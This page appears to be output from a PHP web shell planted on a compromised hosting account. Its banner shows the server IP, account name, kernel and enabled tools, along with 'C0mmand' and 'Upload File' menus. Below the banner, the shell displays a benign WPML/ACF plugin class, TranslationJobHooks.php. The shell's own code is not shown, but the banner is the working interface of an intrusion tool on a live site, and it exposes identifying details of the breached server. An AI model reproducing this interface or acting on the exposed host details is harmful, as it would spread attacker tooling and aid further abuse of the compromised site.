Server IP : 89.26.249.46  /  Your IP : 216.73.217.75
Web Server : Apache
System : Linux a.cp.cloudlink.pt 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : eticalga ( 1129)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/eticalga/www/files/plugins/acfml/classes/Strings/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/eticalga/www/files/plugins/acfml/classes/Strings/TranslationJobHooks.php
<?php

namespace ACFML\Strings;

class TranslationJobHooks implements \IWPML_Action {

	/**
	 * @var Factory $factory
	 */
	private $factory;

	/**
	 * @param Factory $factory
	 */
	public function __construct( Factory $factory ) {
		$this->factory = $factory;
	}

	/**
	 * @return void
	 */
	public function add_hooks() {
		if ( self::isEnabled() ) {
			add_filter( 'wpml_translation_package_by_language', [ $this, 'addStringsToTranslationPackage' ], 10, 3 );
			add_action( 'wpml_translation_job_saved', [ $this, 'saveFieldGroupStringsTranslations' ], 10, 3 );
		}
	}

	/**
	 * @return bool
	 */
	public static function isEnabled() {
		return defined( 'ACFML_EXCLUDE_FIELD_GROUP_STRINGS_IN_POST_JOBS' ) &&
			false === constant( 'ACFML_EXCLUDE_FIELD_GROUP_STRINGS_IN_POST_JOBS' );
	}

	/**
	 * @param int       $translatedPostId
	 * @param array     $fields
	 * @param \stdClass $job
	 *
	 * @return void
	 */
	public function saveFieldGroupStringsTranslations( $translatedPostId, $fields, $job ) {
		$this->factory->createTranslationJobFilter()->saveTranslations( $fields, $job );
	}

	/**
	 * @param array          $package
	 * @param \WP_Post|mixed $post
	 * @param string         $targetLang
	 *
	 * @return array
	 */
	public function addStringsToTranslationPackage( $package, $post, $targetLang ) {
		if ( $post instanceof \WP_Post ) {
			return $this->factory->createTranslationJobFilter()->appendStrings( $package, $post, $targetLang ); // phpcs:ignore
		}

		return $package;
	}

}